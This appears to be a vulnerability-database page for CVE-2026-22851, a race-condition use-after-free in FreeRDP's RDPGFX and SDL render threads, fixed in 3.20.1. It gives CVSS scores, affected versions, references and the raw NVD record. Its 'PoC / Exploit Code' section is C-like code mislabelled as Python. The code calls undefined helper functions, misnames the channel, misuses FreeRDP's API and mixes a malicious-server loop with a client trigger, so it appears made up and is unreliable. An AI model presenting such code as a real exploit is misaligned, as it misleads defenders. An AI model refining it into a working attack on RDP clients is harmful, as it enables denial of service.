Security Vulnerability Report
中文
CVE-2026-22851 CVSS 5.9 MEDIUM

CVE-2026-22851

Published: 2026-01-14 18:16:42
Last Modified: 2026-01-20 18:43:32

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a race condition between the RDPGFX dynamic virtual channel thread and the SDL render thread leads to a heap use-after-free. Specifically, an escaped pointer to sdl->primary (SDL_Surface) is accessed after it has been freed during RDPGFX ResetGraphics handling. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22851 PoC - FreeRDP RCEGFX ResetGraphics Race Condition // This PoC demonstrates triggering the race condition // Note: Actual exploitation requires precise timing control #include <winpr/winsock.h> #include <freerdp/freerdp.h> #include <freerdp/gdi/gfx.h> // Malicious RDP server to trigger the vulnerability void send_malicious_rdp_connection(int client_fd) { // Establish RDP handshake send_rdp_connect_initial(client_fd); send_rdp_connect_confirm(client_fd); // Setup RDPGFX channel send_rdp_channel_join(client_fd, "RDPEGFX"); // Trigger race condition with ResetGraphics // The timing must cause ResetGraphics to arrive while SDL thread is freeing sdl->primary for (int i = 0; i < 1000; i++) { // Send ResetGraphics packet at precise timing send_rdpgfx_reset_graphics(client_fd); usleep(1); // Microsecond-level timing control // Send GFX data to keep SDL thread busy send_rdpgfx_frame_data(client_fd); } } // Client-side trigger (requires user interaction) void trigger_via_client() { rdpSettings* settings = calloc(1, sizeof(rdpSettings)); settings->ServerHostname = strdup("malicious-server"); settings->Username = strdup("victim"); settings->Password = strdup("password"); settings->SoftwareGdi = TRUE; // Enable SDL rendering // Connection will trigger the vulnerability freerdp_connect(settings); } // Mitigation: Apply patch from FreeRDP 3.20.1 // The fix adds proper synchronization between RDPGFX and SDL threads

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22851", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:42.490", "lastModified": "2026-01-20T18:43:31.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a race condition between the RDPGFX dynamic virtual channel thread and the SDL render thread leads to a heap use-after-free. Specifically, an escaped pointer to sdl->primary (SDL_Surface) is accessed after it has been freed during RDPGFX ResetGraphics handling. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la 3.20.1, una condición de carrera entre el hilo del canal virtual dinámico RDPGFX y el hilo de renderizado SDL conduce a un uso después de liberación en el heap. Específicamente, se accede a un puntero escapado a sdl-&gt;primary (SDL_Surface) después de que ha sido liberado durante el manejo de RDPGFX ResetGraphics. Esta vulnerabilidad está corregida en la 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-8g87-6pvc-wh99", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}